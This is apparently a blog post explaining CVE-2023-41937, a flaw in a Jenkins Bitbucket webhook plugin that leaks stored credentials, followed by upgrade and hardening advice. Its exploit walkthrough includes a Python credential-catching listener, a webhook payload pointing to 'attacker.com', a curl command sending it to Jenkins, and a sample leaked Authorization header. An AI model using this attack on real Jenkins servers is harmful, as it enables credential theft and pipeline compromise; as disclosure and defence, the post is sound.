When organizations integrate Jenkins with Bitbucket for continuous integration via the Bitbucket Push and Pull Request Plugin, automation saves time and effort. However, the discovery of CVE-2023-41937 showed how a plugin meant to streamline workflows could turn into a pipeline for credential theft.

In this post, I’ll explain in simple terms what the vulnerability is, how it can be exploited, and how you can protect your Jenkins instance. I’ll also include example payloads and code, along with links to original vulnerability advisories.

What is CVE-2023-41937?

CVE-2023-41937 affects the Jenkins Bitbucket Push and Pull Request Plugin, versions 2.4. through 2.8.3 inclusive.

The bug comes down to *trusting data received in the webhook without validation*. The plugin uses information inside that webhook to decide *where to connect* and does so using Bitbucket credentials stored in Jenkins.

This means an attacker could send a custom HTTP request (webhook) to Jenkins, and it would try to connect—using sensitive credentials—to a URL controlled by the attacker. This could allow the attacker to capture those credentials and potentially compromise other systems.

The attacker’s server captures the Authorization header (i.e., the Bitbucket credentials).

Key Problem: The plugin was supposed to use only trusted Bitbucket URLs, not arbitrary URLs provided by the webhook sender.

Example Exploit Walkthrough

Let’s see what this looks like in the real world.

For testing, let’s set up a simple HTTP listener using Python

from http.server import BaseHTTPRequestHandler, HTTPServer

class CredCatcher(BaseHTTPRequestHandler):
    def do_GET(self):
        print("Received GET request!")
        print("Authorization header:", self.headers.get('Authorization'))
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

server = HTTPServer(('...', 900), CredCatcher)
print("Listening on port 900...")
server.serve_forever()

Run this on your VPS/cloud server.

Here’s an example (simplified for clarity, but you’ll want to match expected format)

{
  "repository": {
    "links": {
      "html": {
        "href": "http://attacker.com:900";   // <-- points to attacker
      }
    }
  }
}

*Note*: The actual field may vary based on which plugin version and event is being sent. Attackers analyze plugin source code for the exact field used when connecting to the repository. In this plugin, the problem was trusting certain URL fields directly provided in the webhook.

Step 3: Attacker Sends Payload to Jenkins

This step can be done with curl, Postman, or a real Bitbucket instance.

Example with curl

curl -X POST http://jenkins.example.com/bitbucket-hook/ \
    -H "Content-Type: application/json" \
    --data-binary @malicious_payload.json

Step 4: Jenkins Leaks Credentials

The plugin sees a webhook, parses the repository links, and tries to connect to the provided URL using Bitbucket credentials.

Your attack server receives a request

Authorization header: Basic bmljZToicmVhbGx5LWltcG9ydGFudC1iaXRidWNrZXQtY3JlZGVudGlhbHM=

You can decode the value (with base64) and get the actual username and password!

Original References

- Jenkins Security Advisory 2023-09-27
- NVD Entry for CVE-2023-41937
- Plugin Changelog and Source

How Do I Fix or Prevent This?

Immediate Fix:  
Upgrade the Bitbucket Push and Pull Request Plugin to version 2.8.4 or newer, which contains a fix for this issue.

Best Practices

- Never expose Jenkins webhook endpoints directly to the public Internet unless you use strong authentication or IP whitelisting.
- Limit the permissions of the Bitbucket credentials stored in Jenkins—never use administrator tokens unnecessarily.

Conclusion

CVE-2023-41937 is a glaring reminder that trusting user-provided data—even data from “trusted” webhooks—is dangerous. If you run Jenkins with the Bitbucket Push and Pull Request Plugin, upgrade immediately and review your credential exposure policies.

A simple crafted webhook could have been all it took for an attacker to own your pipeline keys. Don’t sleep on this one. Patch now!


Share this post to help secure other Jenkins admins, and let us know if you’ve prevented any attacks using these tips!

Timeline

Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 17:53:00 UTC